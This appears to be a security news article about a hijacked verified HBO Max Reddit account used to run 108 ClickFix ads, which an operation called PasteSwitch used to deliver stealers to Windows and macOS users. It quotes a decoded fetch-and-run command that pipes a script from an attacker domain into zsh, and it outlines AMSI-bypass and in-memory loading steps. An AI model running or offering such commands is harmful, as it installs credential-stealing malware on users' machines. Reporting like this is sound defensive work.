Security1 publisher2 min readPublished
A hijacked HBO Max Reddit account pushed 108 ClickFix ads to Windows and macOS users
Hudson Rock and ADAMnetworks link the ads to an operation they call PasteSwitch, which hands Windows and macOS visitors different paste-this-command lures and swaps payloads on the backend depending on who arrives.
The Watch · Security desk
What happened
- Hudson Rock and ADAMnetworks say the verified u/hbomax Reddit account was hijacked and used to launch 108 malicious advertisements over about 48 hours, targeting both Windows and macOS users.
- The ads led to lookalike pages such as hbomaxx[.]us, where the download button returned instructions to open Terminal and paste a command instead of delivering an installer.
- Some of the ads impersonated the streaming service, while others promoted fake AI tools, developer software and macOS utilities from the same trusted account.
- The two firms tie the ads to a wider operation they call PasteSwitch, which has delivered information stealers, loaders, cryptocurrency clippers and fake wallet applications.
- HBO and Warner Bros. Discovery did not respond to BleepingComputer's questions about the incident.
Compiled by The WatchSomething wrong?How this is made
Why it matters
- capability Taking over a verified brand account gives an attacker the platform's paid distribution plus the brand's audience, with no lookalike handle for moderation to catch.
- constraint Controls that sit at the download boundary are on the wrong side of this chain, so the enforceable choke point is the clipboard-to-shell step in Run, PowerShell and Terminal.
- cost Cleanup after a MacSync infection is an account-by-account reset across browsers, Telegram, Apple Notes and stored macOS passwords, not a reimage and move on.
- precedent A backend that varies payload by visitor means defenders who share one URL and one hash are describing one branch, and detection content written from that sample will not cover the rest.
ClickFix moves the malicious step out of the browser and into a shell. The lure tells the visitor to fix an error, pass a CAPTCHA or install software by pasting a supplied command into Windows Run, PowerShell or macOS Terminal [3]. The victim runs it with tools the operating system already ships, and BleepingComputer notes that this can get past browser and security software built to catch malware downloads [4].
BleepingComputer saw one of the macOS commands Base64-encoded. Decoded, it read: `export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh` [13]. Hudson Rock says ember-bridge[.]com was already serving malware for the same operation in September [14]. One payload, MacSync, takes browser credentials, Firefox profiles, Telegram data, Apple Notes and macOS passwords [15]. Another chain installed "AMOS helper," which persists in a directory named .com.apple.accountsd and enrolls the host with attacker-controlled servers to pick up further tasks [16].
Windows visitors were steered into mshta and PowerShell instead [18]. Hudson Rock describes a chain built on an MP3/HTA polyglot that creates a scheduled task, launches 32-bit PowerShell, disables Microsoft's Antimalware Scan Interface and derives victim-specific infrastructure from the computer name and username [19]. The last stage uses obfuscated PowerShell and shellcode to load Amatera Stealer straight into memory, without writing the final payload to disk [20].
The campaign surfaced because a Reddit user noticed the ad and looked at the author [9]. "I was browsing Reddit and saw an ad displaying u/hbomax as the author - this advertised a macOS HBO Max app which I'd not heard of and was interested in. The user is verified and appears to have posted many times in the official HBO Max subreddits," the user said [10]. Verification and posting history were the checks available, and both passed.
108 ads in roughly 48 hours is about 2.25 an hour, or one new malicious ad every 27 minutes for two days [21]. Whatever review the ads passed through, it did not slow that rate.
Triage of a single URL will not map this. Hudson Rock and ADAMnetworks say the PasteSwitch backend switches campaign, platform, payload and crypto theft method depending on the visitor [7]. Fake Ledger, Trezor Suite and Exodus builds sit somewhere in that rotation, aimed at wallet recovery phrases [17].
What to watch
- Whether Reddit or Warner Bros. Discovery explains how the u/hbomax account was taken over and whose ad account paid for the 108 placements.
- Whether Hudson Rock and ADAMnetworks publish PasteSwitch indicators beyond ember-bridge[.]com, or tie other hijacked verified accounts to the same backend.
- Whether Reddit changes ad review for posts originating from verified brand accounts.